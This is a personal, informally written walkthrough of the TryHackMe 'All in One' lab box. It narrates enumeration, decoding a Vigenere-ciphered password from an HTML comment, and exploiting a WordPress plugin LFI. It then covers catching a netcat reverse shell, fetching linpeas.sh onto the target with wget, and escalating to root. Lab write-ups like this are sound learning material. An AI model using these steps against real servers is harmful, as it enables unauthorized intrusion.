So I this is my first real attempt as doing a box with no hints or walk throughs. Sadly I have looked ay walk throughs for every box. Even if just for a little single piece of information. The total time it took me to root this machine was about 7 hours. Once I got a shell the rest was easy. Here is my walk though All in One on try hack me.
These are normally what I run first. I found three things right away that stood out. Directories for /wordpress and /hackathons and of course the low hanging fruit FTP with anonymous. Which FTP ended up being a dead end as no files were there. I was hoping for a text file with a clue of some kind, no luck.
The next option was /Hackathons. I went there and way greeted with a lovely message. Damn how much I hate the smell of Vinegar !!! . So I checked the source and got my first nugget.
<!– Dvc W@iyur@123 –>
<!– KeepGoing –>
So my knee jerk reaction was woot a password. What the password was for not sure. WordPress, ftp, or SSH Which I tried them in all. No luck. so I moved on to looking at work press a bit more. And did a WPScan
So first thing I did was check the verison on WP 5.5.1 I believe. Which really came up with nothing. Then followed up with reflex-gallery. Which there was a vuln for version 3.1.3 for file upload. I wasted a good amount of time on that one. Really nothing came of it though. I came up with the thought that the issue was fixed in this version. So ran with the LFI on Mail Masta. That did work and I found the /etc/passwd file.
I thought I would try Elyana as a user and the password I thought I had
Now I was stuck and went to bed. The next day I was looking at my notes and saw Dvc W@iyur@123 looking at me and thought I wonder if it is a cipher. The @’s and space really through me off. I might have seen it sooner if it was not for that. So I went to my 19th favorite website dcode.fr and ran a cipher identifier.
So I ran a Vigenere cipher. I was really excited almost shaking I finally get to log into something. That did not last.
Before I upload it I need to start my netcat
And it worked!! I have a shell. www-data but ill take it!!. So the first two thing I always do is run sudo -l to see if I can run anything as sudo which I could not. So LINPEAS to save the day. So i cd /tmp
Started my python server. And Wget http://mytunip/linpeas.sh. A quick Chmod +x later we are off and running
Find the hidden password. Well that is easy enough. I ran find against elyana and this showed up.
opened up and found this.
Okay finding the password was pretty easy. So I SSH’d into the computer with the new found information. And ran sudo -l and got this.
Now for the finally bits. Went to root got the key and got the key for the user.
Crap that does not look right. But I might know how to make it right. So I popped onto cyber chef and guess that was base64 finished it.